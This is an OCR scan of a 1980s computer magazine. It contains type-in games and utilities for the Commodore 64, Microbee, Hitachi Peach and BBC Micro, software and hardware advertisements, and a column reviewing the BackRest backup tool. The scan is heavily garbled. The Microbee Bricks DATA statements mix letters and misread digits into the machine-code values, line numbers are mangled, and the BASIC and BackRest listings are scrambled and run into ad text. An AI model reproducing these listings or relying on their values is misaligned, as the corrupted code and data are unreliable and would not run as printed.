3003 PRINT: PRINT"{BLUE}YOU HAD A SCORE O 
F";Sc 
3994 PRINT“WITH"3L3 "LIVES LEFT" 
3995 PRINT: PRINT"(WHT}WOULD YOU LIKE ANO 
THER GAME?" 
3OG6 GETAS: IFAS=""THEN3OB6 
3997 IFAS="Y"THENCLEAR: GOTO2 
9988 GRAPHIC®,1:PRINT"YOUR DEAD" 
9981 PRINT"{YELO}YOU HAD A SCORE OF"3;SC 
9982 PRINT: PRINT" {(WHT}WOULD YOU LIKE ANO 
THER GAME?" 
98093 GETAS: IFAS=""THENIGO3 
9994 IFAS="Y"THENCLEAR: GOTO2 
9985 PRINT"{CLR}";:END 

CROMEMCO 
systems are designed 

to make 

UNIX" SYSTEM V 

even better. Join the 
UNIX revolution by 

telephoning 

_ (02) 9576800 
UNIX is a trademark of AT&T Bell Laboratories. 

CITY BOMBER 

This game is for the Commodore 
64 with the Super Expander. In it 
you fly abomber over a city, trying 
to destroy it with bombs which 
are released by pressing any key. 

You must aim carefully, as 
dropping a bomb in an area 
where the buildings have already 
been totally destroyed will cost 
you one of your lives. 

Paul Vandenberg, 
Cabramatta, NSW 
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Microbee 

BRICKS 

Bricks is the old breakout game: 
lots of bricks, one bat, five balls 
and good reflexes. This version is 
in machine code, has interesting 
sound effects, uses high-res look- 
a-like graphics and has 10 speed 
levels. The bricks slowly advance 
on you. The ball increases speed 
each round, and during each 
round speeds up till you hit 
another 32 bricks; it moves away 
from you at four times the speed 
it travels toward you (to make 
waiting time less). You get 1000 
points if you break through the 
wall, and extra points for hitting 
more distant bricks. 

To play, use the A or < key for 
moving up, Z or > for moving 
down; S is for serving; ESC holds 
the ball still until you release; and 
BRK gives you back to BASIC. 

Level 0 is a good starting speed 
and 9 is just to show | have a 
sense of humour (or sadism). 

This program comes in two 
forms, as source code and in 
BASIC. With the BASIC version, 
you type, you save, you run. The 
program uses low-res graphics, 
but I've altered the PCG’s to make 
them look like bricks and balls. 
The bat is a real PCG and is not 
plotted on the screen. 

Richard Larkin 
Dee Why, NSW 

POCKET PROGRAMS 

@O0001REM BRICKS (BASIC VER) 10/4/85 RICHARD LARKIN 

OBOB2DATAZS, B, 240, 17, 1, 248, 15 8 4.54, 26+ 237, 176, 335 29, 44 

QBO@SDATAI7, 212, 241, 1, 24, O, 237, 176, 33,531 44,17, 84, 242,1, 24 

BBGQ4DATAD, 237, 176, 205, 6, 128, 33, 52, 45, 54, @ 254, 89, 32, 2, 54 

BOBASDATAL» G2, OB, SO, SS 45, 205, 76, 39, 195, 71,48, 35, OB, 240, 17 

BOOBEDATAL» 240, 1, 191+ 3. 54, 32, 237, 176 33, 1, 240,17, 2, 2408; 1 

@O007DATAG1, @, 54, 131,237,176, 33, 129, 243, 6, 62,62, 176, 119, 35; 16 

BBQBEDATAZS2, 32, 127, 240, 17, 64, @, G, 13, 62, 183, 119, 25, 16, 252, 205 

BABOSDATAL SS, 39, 195, 156, 9, 53, 95, 240, 17, 52) O 14) 12,62, 149,6 

BOQ1Q@DATAIE, 119, 35, 35, 16, 251,15, 25, 62, O, 185, 32, 240, 201,205, 39 

@0011DATAI2E, SS, 144, 45, 17, BB, 249, 285, 2, 44, S53, 166) 45, 17) 16) 248 

0001 2DATAZOS, 2, 44, SE, 170, 42, 17, 32, 248, 205, 2, 44, 33, 181,43,17 

0001 2DATAEG, 248, 205, 2, 44, 33, 165, 42,17, 128, 248, 205, 2,44, 23,175 

QOL 4DATAGS, 17, O, 249, 205, 2) G4, SZ, 159, 43, 177 Oy 250, 205, 2, 44 

OBO1SDATAZS=, 33, 170, 43, 53, 112, 249, 205, &, 44, 252, 35,165, 43, 23, 20E 

0001 EDATAZ49, 205, &, 44, 253, 33, 159, 42, 22, 80, 251, 205, & 44, 62, 128 

@@017DATA1I7, 112, 251,6, 16, 18, 19, 16, 252,62, 0, 17, 48, 248, 6, 16 

BOB1SDATAIE, 19, 16, 252,17,0, 251, 6, 16, 18) 19, 16, 252,62, 255, 50 

OOOi SDATAEG?, 245, 50, O, 251, 23,191, 42, 17,64, 253, 1,46, 8, 227,176 

OBOZODATAZ3, 197,42, 17,112) 253, 1, 48, @, 237,176, 22, 202, 435,17, 160 

OOO21DATAZSS,» 1,48, @. 237,176, 201, 23, GO, 42, 17, 192, 245, 1,64,8 

OOO22DATAZI7, 176, 33, 77, 44, 17, 16, 242,1,12,8, 227,176, 205, 6, 128 

O002=DATAZ14, 47, 254,11, 48, 247, 71, 23,128, 9,17, 64, 255, 25, 16, 252 

OBOZ4DATAZ4, 42, 45, 24; 44,45, 335, 15, 242,17; 16, 242,1,12,0, 237 

Q@OBZSDATA17E, 205, 137, 44, 237, 91, 30, 45, 58, 40, 45, 60, 50, 40, 45, 71 

BOOBZEDATASE, 41, 45, 254, 0, 40, 50, 184, 22, 47, G2, 8, SO, 40, 45, SE 

OOD27DATAZE, 45, 254, 1, 32, 2 28, 2B, 29, 33, 36, 45, 125, 254, 44, SE 

BOBZSDATALD, 126, 254, 254, 40, 5, 54, 254, 205, 67, 42, 123, 254, 7, 48,5 

BOOz9DATASSG, 1, 205,67, 42, 237, 83, 30, 45, 42, 26, 45, 58, 40, 45, 220 

OOBZODATAI, 254, OB, FZ, 29, SE, TE, 45, 254,1,52, 2, 44, 44,45, 125 

OG021DATAZ4, 28, 45, 254,127, 202, 219, 42, 254, 250, 204,69, 44, 254, 1, 204 

OAD=7DATAIAG, 41,47, 77, 45, 227, 91. 74, 45, FAS. 51.178. 4. OR a. 7 

QOO22DATAY1, 30, 45, 205, 54, 128, 42, 26, 45, 205, 57, 126, 204, 4, 42, 205 

QOOZ4DATAZO, 41, 24, 52, 42, 46,45,17, 64,0, 58, 48, 45,6, 3,119 

OBB=SDATAZS, 6B, 16, 251,62, 1, 205, 10, 165, 204,178, 41,62, 26, 205, 10 

QOOZEDATAIES, 204, 224, 41,62, 44, 205, 10, 165, 204, 178, 41,62, 46, 205, 12 

0002 7DATAIES, 204, 224, 41, 205, 76, 42, 201,42, 28, 45, 2357, 91,30, 45, 34 

BOBZSDATAZ2Z, 45, 227, BF, 34,45, 62, GE, 205, 10, 165,40, 251, 62, 54, 205 

OOOS9DATAIO, 165, 202, 22, 128, 195, 132, 40, 58, 20, 45, 71,58, 49, 45, 144 

BBO4ODATA7TS, 254, 7, 208, 254) 2, 62> 1,50, 36, 45, 40, 7, SE, 2, Gz 



POCKET PROGRAMS 

Microbee Sp 
0004 1DATAZS4, 5, SE, 45, 6 OB, 23, 250, 43, 9, 126. 50, 41,45, 32,2 

OO042DATAD, 34, 28, 45, 62, O SO, 40, 45, 42, 42,465,173 246) 255, 25 

BQO43DATA1I 24, 254, O, 200, 34, 42, 45, Sz, 1, 8, 6, 40, 205, 125, 42, 16 

OOO44DATAZS1,» 201, 58, 49, 45, 60, 254, 51, 200, 50, 49, 45, 58, 48, 45,198 

OBO4SDATAS, SO, 45, 45, 254, 221, 192, 62) 212) 50, 48, 45, 42, 46,45,17 

QOB4EDATAI 2E, OB, 25, 54, SZ G2, GE, 45, 17, 192, 255, 25, 34, 46, 45, 201 

Q@0O47DATASS, 49, 45, 61, 254, 5S, 200, 50, 49, 45, 58, 48, 45, 214, 2,50 

QOB4EDATAGE, 45, 254, 209, 192, 62, 218, 50, GE, 45, 42, 46, 45, 54, 32,17 

BOB49DATAESG, B, 24, 215, 42, 28, 45, 125, 202, 135, 15, 79, 214, 1, 202, 135 

BBOSBDATALS, 202, 125, 15, 202,125) 15, 6 O 25, 64, 240,9, 71,17, 64 

OWASIDATAD, 14, 13, 126, 254, 133, 2W2, 102) G2, 254, 145, 202, 102) 42, 254, 148 

BOOS2ZDATAZO2, 102, 42, 25, 13, 62, O 185, 32. 223, 201.58, 36, 45, 47, 50 

GBASSDATAZE, 45, 201, 22, 20, O, 6, GB, 205, 125, 42, 201,42, 42, 45, 58 

BBOBS4DATASE, 45, 254, 1, SZ, 18, 191, 203, 26, 205, 29, 191, 203, 28, 2O5,2 

B@BSSDATA4SS, 124,181, 32, 251, 201, 54, 126, 4, 205, 145, 42, 58, 52, 45, 68 

BBOSEDATASD, SS, 45, 230, 31, 254, O, 204, 31,42, 205,59, 42, 353,5,0 

OBOS7DATAL, SO, O, 205, 155, 42, 201, 58, S52, 45, 254, O, 200, 20S, 95, 167 

QOASEDATAZOA1, FS, 227, 243, 126, GO, 119, 254, SE, 32, 29, 54,48, 43,125, 254 

@BB@SSDATAZ2Z4, 32, 11.58, 204, 243, 68, 254,58, 40, 3, 50, 204, 245, 125, 254 

BOBEQDATAZ22, 32, 225, G2, 57, SO, 204, 243, 16, 215, 33, 223, 243, 17, 248, BaF 

@OO@E1DATAE:; 6, 76, 26, 1E5, 40, 4, SE, G 24, 15) 35, 19, 16, 245, 35 

DQOBESDATAZZS, 245,17, 248, 245, 1,6, 0, 257,176, 201,62, 100,6, 1,245 

@OBE2DATAZ 45, 205, 145, 42, 241, 53, 20, O, 71, 205, 125, 42, 241,61, 254,22 

QBAEADATAS2, 235, 42, 44, U5, 17, 192, 255, 25, 124, 254, OW, 202, Sy 43, 3A 

DBOBESDATAGS, 45, 34, 42, 45, 62. 0, SB, SZ, 45, 52, 56,8, 24, 22, 45 

BOBEEDATAZ2, 24, 8, 24, 34, 45, 205, 76, 29, 205, 127, 44, 195, 122, 40, 17 

QQOE7DATASS, 240, G2, 15, 33, 2, O, 25, 1,20) O 237, 176, 35, 24,0 

QQVEEDATALS, 235, 61, 254, 0, 32. 237, 35, 125, 240,6,15,17, 64,08, 62 

QOBESDATA1LAY, 119, 25, 16, 252, 42, 28, 45, 125, 214, 2,111, 24, 28,45, 201 

QOO7ODATAZ2, GE, ES, 76, 7B, SZ, SZ, 76, 69, 70, 84, 32, 53, SB, BS) SE 

O@OO71DATAZ2, ZZ, S2. 32, S2r SS, SZ, SS SZ, G3, 67, 79, 82,69, 52,48 

Q@QO72DATAGE, GE, GE, 46, 48, 32, 32, S21 FZ, S27 Sor Sy SZ, 72, 75 71 

O007=2DATA72, 22, BS, 67, 79, 62, 69, 32, 48, 48, 48, 48, 46, 48, 32, 22 

Q@OO74DATAQD, SE, 160, 80, 160, 80, 162, 82. 160, SQ, 160, SO, 162, SQ, 96,0 

QBO7SDATAD. 0, 2. 0,0,0,9,8,8,0,6,9,9,9,6,0 

QBOB7EDATAD, O, 0, @, @, B, O, O, O, O, GE. 144,144, 144, 96,0 

00077DATAG, @,. 0; 8, 8,8,0,0,0, 8, 192, 160, 144, 126, 136,172 

QOD7ESDATAIS2, 1352s 128, 130, 120, 120, 120, 130, 129, 129, 129, 129, 129, 129, 129, 129 

BOW7SDATA1I 29, 130, 130, 130, 130, 120, 120, 132, 122, 122, 126, 176, 144, 160,192, 

DOBESDATAD, 0,0, 0,0,0,0,0,0,0, 5, 7,11,15,11,7 

Tools for Professionals 

Lattice Coo. 
The 16-bit C Compiler used by the experts. 

Early version sold as Microsoft C. Version 

2.14 includes automatic sensing of the pre- 

sence of 8087 chip, Unix-compatible maths 

functions, and more. 

Lifeboat’s Run. ....... $309.00 
C Interpreter. Perfect for learning or teach- 

ing C and debugging C code. Operates like 

Basic. 100 common functions built in. 

IBM PC Colour Graphics routines: a com- 

plete library of graphics primitives for 

Fortran, Pascal, Lattice C, Basic Compiler, 

Basic Interpreter, or Assembler. Halo sup- 

ports the IBM PC Graphics card, the Her- 

cules Card, some other graphics cards, 
mice and printers. (Price quoted covers one 

language /card combination.) 

A powerful and flexible tool for designing 

and editing data-entry screens and key- 

boards. It generates program code in your 

favourite language for each screen. 

PLink-86 ......................... 
A two-pass linkage editor allowing overlays 
in C, FORTRAN, PL/1, PASCAL, 
COBOL and Assembler. Define overlays at 
link time. PLink is available for CP/M-80, 

CP/M-86 and MS-DOS. 

The Greenleaf C 

Functions ....................... $351 
This library of functions has its main 

strength in DOS, string, RS232, color text, 

and printer functions for the IBM PC. Learn 
the complexities of C from the examples 

and source code supplied. 

The Entry System for Programs is the 

new, third generation program editor that 

enables programmers to write 50% faster 

and 100% better. Includes on-line syntax 

checking, formatting, structure manipula- 

tion, and more. Available now for Lattice C. 

Asynchronous Communications Control 

Program available configured for over 80 

different 8 and 16 bit micros. 

Available exclusively in Australia from: 

FAGAN 

MICROPROCESSOR SYSTEMS 

95 Canterbury Road, Middle Park, 3206 

Tel: (03) 699 9899 Telex: AA31604 
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POCKET PROGRAMS 

Microbee {pp 
BOOS 1DATAS, 2, 1,16, 0, 227,176, 201,6, 16, 221,23, 144, 43, 221,126 

BOBELDATAD, 253, 182, 0, 119, 221, 35, 253, 35, 35, 16, 242, 201,22, 87,69 

BOWEZDATA7TE, 67, 79, 77, G9, 32, 84, 79, 32, 66, Bz, 69, E65, 75, 32, 79 

QOBS4DATAES, SA, S233, SZ, 32, 87, 79, BS, 76, 66, 22, BY, 79, SS, Sz 

WOBVESDATATE, 73, 75, 69, 32, BF, 79, SS, 78, 68, 32, 65, T2, S=, 0, 69 

QOBEEDATAES, 68, 32, 40, 48, 45, 57, 41,62, 58, 204, 245, 61, 254,47, 40 

BOBWE7DATAZ2, 5B, 204, 243, 42, 28, 45- 237, 91, 30, 45, 205, 51,128, 33,2 

BODESDATAD, 24, 30, 45, 205, 127, 44, 201, 205, &, 128, 33, 248, 245,17, 156 

BODESDATAGS, 1,6, 0, 237,176, 195, 65, 39, 205, 20, 41, 205, 169, 44, 62 

DOBSODATASS, 205, 10, 165, 202, 33, 128, 62, 19, 205,10, 165, 32, 235, 32, SE 

@0091DATAQ, 237, 91,24, 45, 205, 51, 128, 201, 227, 91, 24,45, 23, 56,0 

BOBIZDATAZOS, 51, 126, 237, 91, 30, 45, 32, SE, O, 205, 48, 128, 58, 38, 45 

94, 36 ho QOO9IDATAZ27, SF, 34,45, 19, 254.1, 32. 2) 27, 27, 123, 214, 71 

QODS4DATASE, 14, 58, SE, 45, 254,1,62,1, 32) 2) 62, 254, 50, 38, 45 

@BBSSDATAZ37, SS, 30, 45, 42, 50, 45, 35, SE, 44, 124, 254, 192, 22, 3, 3S 

QBOSEDATAD, 128, 34, 50, 45, 126, 230, 7. 23. 250, 42, 6 O 79, 9, 126 

BOB97DATASO, 41,45, 121,258, 1,50, 36, 45, & 8, 285, 76, 42,16, 251 

OOOSEDATAZ2, SE, 0, 34, 2B, 45, 62, O, SQ, 40, 45, 201,64,0, 27,0 

BBOSSDATAES, O@, 27,0,1,0,1,90,0,2,0,0,0,6,0, 240 

O@1iOODATAZ18&S, 47,8,0,1,0 

00101 C=@ = FOR X=100@@ TO 11572 = READ Y : POKE X,Y = C=C+Y : 

00102 IF C=1740 THEN PRINT "OK" ELSE PRINT "DATA ERROR" 

00102 REM IF “OK" THEN TYPE I=USR(10000> TO PLAY GAME! 

Hitachi Peach 

"TYPE.BAS TYPE.BAS 

This program is a utility that emu- 
lates the CP/M’s TYPE command 
on the Hitachi Peach. It types the 
required data file to the user's 
choice of the screen or printer, 
and is a useful program for view- 
ing the contents of a data file cre- 
ated by the HiWriter word proces- ON ERROR. Taree 

ae ieaciia oe a “eURROuTNE TO DETERMINE THE NAME OF THE DATA FILE TO TYPE 
INPUT “NAME OF DATA FILE TO TYPE : ",FILENAMES 

: : : IF RIGHT$(FILENAMES ,4)<>".DAT" THEN FILENFMFE$=FILLENAME$+". DAT" booting up HiWriter. , : ) $+ 
Philip Cookson, 

RETURN 

: : "SUBROUTINE TO SELECT OUTPUT DEVICE FOR DATA FILE LISTING 

Armadale, Vic 

‘Author: 
"Description: 
‘This program reads a data file from the disk and types it to either 
‘the screen or a line printer. 

Philip Cookson Date: 04/01/85 

GOSUB 260 
GOSUB 300 
GOSUB 350 
GOSUB 430 
GOSUB 470 
GOSUB 540 
END 

"SET ERROR TRAP ON 
"DETERMINE DATA FILE TO TYPE 
"SELECT OUTPUT TO SCREEN OR PRINTER 
‘OPEN SPECIFIED DATA FILE 
"READ AND PRINT THE DATA FILE 
"CLOSE OUTPUT AND DATA FILES 

"SUBROUTINE TO SET ERROR TRAPPING ON 

PRINT "TYPE TO <1> SCREEN OR <2> PRINTER ? " 
ANS$=INKEY$:1F ANS$<>"1" AND ANS$<>"2" THEN GO TO 370 
IF ANS$="1" THEN DEV$="SCRN:" 
IF ANS$="2" THEN DEV$="LPTO:" 
OPEN "0", 41, DEV$ 
RETURN 

86 

NEXT X 

"SUBROUTINE TO OPEN DATA FILE 
OPEN “I",#2,FI1ENAME$ 
RETURN 
1 

"SUBROUTINE TO READ AND PRINT THE DATA FILE 
IF FOF(2) THEN GO TO 520 
LINE INPUT #2, TEXT$ 
PRINT #1, TEXT$ 
GO TO 480 
RETURN 

"SUBROUTINE TO CLOSE THE OUTPUT AND DATA FILES 
CLOSE #1, #2 
RETURN 
' 

"SUBROUTINE TO HANDLE ERRORS 

" (1) File not found Serer 
IF ERR=63 THEN BEEP: PRINT "FILE NOT FOUND" RESUME 230 

" (2) Device unavailable error 
IF ERR=60 THEN BEEP: PRINT “DEVICE UNAVATLABLE": RESUME 230 

t 

(3) Input past end error 
IF ERR=54 THEN RESUME 230 

(4) Miscellaneous error 

BEEP: PRINT "ERROR CODE ";ERR;" ON LINE "SERL:RESUME 230 
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POCKET PROGRAMS 

BINGO 

This program simulates a bingo 
draw. It has been written to runon 
the BBC Micro, but modifying it to 
suit other machines should not 
prove too difficult. The BBC ver- 
sion, as it stands, is well error 
trapped. The likelihood of an 
accidental crash in the middle of 
a game is extremely remote. 

The program should prove use- 
ful to people interested in fund- 
raising for sporting groups or 
voluntary organisations. 

Syd Sanders 
East Victoria Park, WA 
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COMMODORE HEAVEN 
No games but everything else stocked at discount 
prices. We directly import 100 different lines and also 
deal with all the usual warehouses. Let us show you how 
your 64 can become a powerful business machine. 

IBM COMPATIBLES 
All these programs, written for the IBM Pc and XT, have 
been tested in the versions we sell to run on Commodore's 
new PC-10 and PC-20. They should also run on all other 
IBM compatibles, since they are the latest editions with all 
the early bugs removed. Because we’ve just opened this 
division, you can be sure that what you buy is brand new 
stock and not tired old programs that have been sitting for 
a year or more on a dealer's shelves, and we can get really 
good prices because our supplies come from the same 

We normally have about a dozen different printers, 
15 or so word processors, 20 or more spread- 
sheets and databases and about the same 
number of accounting systems, but have room to 
list only some of the more popular here. 
Ring (03) 700 2451 at any time for more details. 

64/128 Sezause we 
64 ACCOUNTING PACKAGE . 

Because we have the latest versions all our C64 programs will also run on the 

. $159 
TOTL’s newest lightning fast machine language version (new in May 1985) includes 
stock controland printing of invoices and statements. Dates. postcodes, etc. select- 
able for Australia or US. All programs load froma master menu. Balance-forward sys- 
tem. Invoices allow both taxable and non-taxable items and screen prompts and 
printed output headings can be customized to fit any business. This and 240 volt 
MSD or Tathaho disk drive make your 64 one of the most powerful business 
machines available. RUN magazine rates it a Best Buy. 

SOFTWARE DESIGN ACCOUNTS.............. $125 
Software Design Inc. Will do all the books of a business and print reports but not 
update inventory. Excellent review in COMPUTE's Gazette (November 1984). 

AUTOCALC 64........... ..eeeee. D $59, T $55 
Suitable for any application involving extensive manipulation of data and formulae. 
from financial planning to investment analysis, from market research to sales 
forecasting, from scientific or engineering calculations to technical analysis. Copes 
easily with trigonometrical functions, paranthesis and Boolean logic as well as 
totalling and averaging and accepts complex conditional statements. You can 
choose column width or number of rows. numerical format, etc. to suit your purpose. 
2.000 cells. Fullreplicate facility. Datacan be SAVEd or printed out. Comprehensive 
instructions plus practical demonstration program. Easily best value-for-money. 

GENERAL LEDGER TOTL's newest compiled 

TIME/MONEY MANAGER 
TOTL Time Management rated 4 stars... .. 

TOTL Home Accounting 

CONTINENTAL Home Accounts 
ABRACALC HOME MANAGER + SPREADSHEET.... 
PERSONAL ACCOUNTANT 
CASH CONTROLLER 
EXPENSE MANAGER 
dialog TRANSACT book keeping system 

dialog INVOSTAT invoices and statements 

dialog STOCK-AID stock control inventory 

TOTLWRITER (incl d/base. etc) 

TOTL TEXT Enhanced. Best word proc. of all 

TOTL SPELLER works with Easyscript. Bank Street... 

TOTL KEYWORD CROSS REFERENCE 
FLEET Fast. 40. 80. cols 

SUPER TEXT 80 column program. 6... oe, $108 

HESWRITER Cartridge $55 

INSTA WRITER..................... Cartridge $39 
SOFTSMITH 

$37 

$45 

OMNIWRITER/OMNISPELL.................... 
TOTL MAILING LIST/LABEL 
THE MAILER 

Tape $19. Disk $22 

Tape $19. Disk $22 

FLASH! “85 with built-in ON/OFF switch 

FLASH! SX64 version 

DOT MATRIX PRINTER LISTER 

SMITH CORONA daisy wheel Printer 

INTERFACES for 64/126/VIC..... 

MSD Single Drive.all metal 240 voit 

MSD Double Drive. the best 240 volt 

SKAI newest. with in-built power 
64 K MEMORY EXPANSION for 64 and VIC 20.. 
PAGEMATE Text holder 

DISKETTE SAFE. lockable. 100 capacity 

PS BUSINESS AIDS 
BUSICALC 1 $59. .Busicalc 2 $75. Busicalc 3. $99 
MAGPIE famous British database. now for C64 $99 

dialog OFM DATABASEgic.$45 
dialog DATABASE + MAIL LABEL 

TOTL DATABASE “RUN” says Best Buy 

NUMERIC KEY PAD sixty tour/VIC-220 

SUPERBASE STEPPING STONES 
CHARTIST Stocks & Shares prints graphs 

COMPUTER STOCKS AND BONDS 

AD PREPARED 3/6/89 

g 
STARTER KIT fcr programmers 

TO ORDER. 

(03) 700 2451 

PRINTER GRAPHICS UTILITY... 
64 DOCTOR 

. Disk/Tape $25 

“Disk $42. Tape $39 

$79 
ARROW (C64/VIC-20} loads tape tast 

EPYX FASTLOAD Cartridge (3+ faster) 

AUTOLOAD/DIRECTORY Cartridge 
EDUMATE LIGHT PEN Best. says RUN 

EDUMATE w/. Peripheral Vision 

MACHINE CODE TUTOR 
BANNER MACHINE makes long printouts... ... 

PRINT SHOP cards. logos. letterheads. etc... ... 

P/SHOP LIBRARY Hundreds of designs 
TATTS 40 or how to win a million 

$49 
of 

He 

2 Tapes & Book $49 

Disk $89 

Disk $65 

PEDIGREE US Kennel Club approved... 

ASTROLOGY PROGRAM [also 18M/Apple} 

VOICE MASTER synthesises your own voice 

SUPER VOICE MASTER Your own voice 

CURRAH SPEECH 63 two tones 
COMPUTER MECHANIC 

MIND PROBER (also IBM. Apple Macintosh $69)... . 

CASSETTE INTERFACE and DUPLICATOR 
C64 MOTHERBOARD (w/-reset). 3-way $85. 5-way $169 

VIC-20 4-way motherboard 

PROGRAMMER’S AIDS 

INTERCEPTOR SUPABASIC 

SPEED BASIC 
ULTRA BASIC 64 
SIMON'S BASIC 
BLITZ! Fastest Compiler of ail 

6502 PROGRAM DEVELOPMENT CASSETTE 
SPRITEMASTER 
MAE 64 Macro/Assember 

VIC-TREE for programmers 

OZ ASSEMBLER 
PROGRAMMERS AID 

ZEUS Assember (19 commands) 

Disk $25 
TRAINING KIT how to write programs Disk/Workbook $29 

32 PROGRAMS Disk/Book 
COMMODORE'S INTRO TO BASIC. (2 Tapes & Book) 
EDUCATION | EDUCATION 2 (Disk or ia 

C64 EDUCATION TAPES (All 18 for $200). 
TYPING TUTOR/WORD INVADERS (VIC-20) . 

Disk/Tape $29 

Disk/Tape $79 

COLOSSUS CHESS 20........... Disk $39. Tape 
GRANDMASTER 
INCREDIBLE KEYBOARD w/. $20 Voucher 
MACHINE CODE TUTOR 2 Tapes & Bock 
SARGON CHESS 3 (IBM $75) 

SIMPLY PHONE 

YC 7/85. 

sources we already use for the large quantities of other 

$399 

$399 

316XT COMPATIBLE. . $2500 
256 K with duel 360K drives. 8 
slots. fully IBM XT compatible. 
Includes cards for parallel prin- 
ter, disk drive and RGB color/ 
graphic with composite monitor 
and light pen port. 8K Eprom 
with B10S. Ready to run all 
these programs. Other con- 
figurations up to 512K with 35 

VISIDEX........ $399 
cm color monitor and all the 

VISIWORD/SPELL. . $399 belis ana whisties for $4.950. 

COMPLETE POINT OF SALE SYSTEM 
Operates a cash drawer, keeps track of your stock, laybys, 
COD and other sales, controls debtors, provides sales 
analysis, profit margins by product, department and/or 
branch. Prints receipts, statements, etc. at the time of the 
transaction. Automatically phones other branches and 
collects data after close of business. With everything ready 
to go, including staff instruction and back-up service, that 
configuration costs $69 week (within 10 km of Dan- 
denong). Other configurations, including bar-code reader, 

’ tailored to your exact needs, anywhere in Australia. 

BUSINESS MANAGER ............$540 
Over 1000 already in use throughout Australia. Fully 
integrated, ready to use accounting system. Includes 
stock control/inventory, Accounts Receivable and Pay- 
able and General Ledger. Menu driven and easy to use. 
OTHER PROGRAMS AVAILABLE: Pay Roll, Real Estate, 
Property Management, Insurance Brokers, etc. 

VISICALC....... 

VISITREND/PLOT. 

VISIFILE........ $399 

AUTO DIAL, AUTO ANSWER MODEM 300 baud... . $199 
With software. Full half duplex. Plugs into User Port of yourC64. C128 or VIC 20 ard 
draws its power from there. Direct connect to the phone service. ThisandCompute’s 
Gazette program lets you run your own Bulletin Board. 300 baud. Not Viatel. 

300/300 and 1200/75 modem ACME.......... $299 
Direct connect. Plugs into User Port of your 64 and draws its power from there. (Adap- 
tors for other computers available). Included 3 months sub to STARS encylopedia and 
6 weeks sub to MICRO 666 (Commodore database). Cartridge software S79. 

1200/1200 and 1200/75 acoustic coupler. . $199 
Works with all brands of computers. Uses four AA batteries (included). Connecting 
cable and software (including Viatel) for C64. BBC. Atari. Apple. Oric and most other 
computers is $75 extra. 

SENDATA direct connect modem 300 + 1200/75... $299 
Connects directly to your phone socket and has its own handset. Plugs Straight into 
your 64 and does not need connecting cables. Software included FREE' 

TAIHAHO Commodore/Apple DRIVES 
Just released in Ausfalia! Top quality all metal disk drives that will run BOTH Anple 
and Commodore disks. Complete with all plugs and 20-line parallei cables to con- 
nect to your C64 or C128. Switches let you choose Device No. 8 or 9 and Normal. 
Write Protect or Override Write Protect. Single drive can be expanded to double by 
purchase of additional drive for $355. Complete with regulated 240 volt 50Hz 
SINGLE DRIVE. with power supply. cables and interface for C64... .$495 
DOUBLE DRIVE. with power supply. cables and interface for C64. $850 

EPSON NLQ PRINTER with Commodore i/face ... $475 

GEMINI work alike PRINTER R (prop ortional lettering). $350 
All the features of the famous Gemini P Ss more graphics and proportional 
spacing. Its 1.100 words per minute but actually almost 7%o slower than the Gemini 
(which now sells for $150 more). Commodore. IBM. and lots more graphics. 

Chambers Computer Supplies 
48-52 Monkhouse Drive, Endeavour Hills. Melbourne, 3802. 



PROGRAMMER’S WORKBENCH 

BackRest 

We've been investigating the tools sup- 
plied with Concurrent PC-DOS in more 
depth recently, and have discovered one 
that is worth a review in its own right. 
BackRest, from Stok Software, attacks a 
major problem for the ‘power user’, who 
often has a large hard disk on his PC, and, if 
he’s running Concurrent PC-DOS, will have 
it partitioned into CP/M and DOS areas. 

Backup of files is an essential adminis- 
trative task for any computer system of any 
importance. PC-DOS approaches the prob- 
lem pretty well, with its BACKUP and RES- 
TORE commands, which allow the user to 
selectively back up particular directories 
and groups of files. This works adequately 
for the vast majority of users, although the 
job of formatting and then feeding the sys- 
tem 30 diskettes can be pretty tedious. 

However, the DOS BACKUP command 
has its limitations. In particular, it gener- 
ally backs up all files, whether they need to 
be or not — such as .BAK files and others. 
In addition, it will not work on a CP/M 
partition of a hard disk, and finally, unless 
a system support person masks it away ina 

batch file, the backup command can re- 
quire quite a complex command line. 

BackRest gets around all of these prob- 
lems. Running it is very simple: just type 
BACK and it gets its commands and sets 
itself up by reading a file called CON- 

You'd be surprised how 
much mail we get 

addressed to Mr Less (sic) 
Bell. Our readers have got 
him down pat: the less 
work he has to do, the 
better. This month he’s 

expounding gleefully on a 
program that makes 
backing up files on a 
Concurrent PC-DOS 

system easier. He also 
moved himself to rage at 

software vendors’ desertion 
of users of 8-bit machines. 

TROL.BR. Actually, you can have up to 10 
such files, each called CONTROLNn.BR, and 
make BackRest use the appropriate one. 

insert a backup disk in the appropriate 

drive, and then starts backing up files to 
that disk. When the disk is full it again 
prompts the user to remove the disk, label 
it and insert a fresh disk. BackRest identi- 
fies each of your backup disks with a uni- 
que volume number, and maintains report 
and directory files that indicate the loca- 
tion and date of backup for each of the files 
it copies. 

BackRest lets you select which files you 
want backed up and restored. Files may be 
selected according to subdirectory, user 
number, filename, file extension, and hard 
disk partition. This information is stored in 
the CONTROL.BR file (see Listing 1). You 
can also tell BackRest to delete certain 
files after they have been backed up, thus 
cleaning up your drive. 

Under Concurrent PC-DOS, BackRest 
accepts either CP/M(R) or DOS media in 
your source (hard disk) and destination 
(floppy disk) drives. Backrest can deter- 
mine what type of file it is backing up and 
requests that you place the appropriately 
formatted disk in the destination drive. 

If a hard-disk file is too large to fit on one 
backup disk, BackRest can split the file and 
copy it to two or more disks. BackRest then 
merges these file parts when asked to res- 
tore the original file. You can restore a file 
by the date it was backed up. You can 
restore a particular group of files by giving p BackRest will first prompt the user to 

and standard (80 column) printer. 

distribution disk. 

SCREEN CONTROL RECOROS 

xKxKeKK KEK KK KK use to display its messages. 

CLEAR: 2527569 

ATTRIBUTE: 

ATTRIBUTE: 

ATTRIBUTE: 

ATTRIBUTE: 

ATTRIBUTE: 

leave screen: 3:27;968;7 
general: 352759852 

errors: 33:27;98:15 

message: 3,°27,98;14 

ATTRIBUTE: data: 3527;9853 

ATTRIBUTE: input: 3527;985;12 
*% PRINTER INFORMATION RECORDS 

PRINTER INIT: 1,513 

FORMFEEO: 1,12 

LENGTH: 60 

WIOTH: 60 
* REPORT RECORDS 
* Chanse the ”1D:” record tieid to the heading you want BackRest 

* to print aon its reports. 

REPORT PRINT: true 

SHOW SKIPS: true 

Listing |. BackRest's CONTROL.BR File. 

See "Setting Up BackRest” in BACKREST.DOC of the Concurrent 

The CLEAR: record contains the code used to erase the screen. 

The seven ATTRIBUTE: records determine the colors BackRest wil! 

start screen! 9527999:0:2739713127:9B812 <-- Green 

<-- Start with a carriage return. 

<-- Printer code for a form teed. 

<-- Number of lines per page. 

<-- Number of columns per page. 

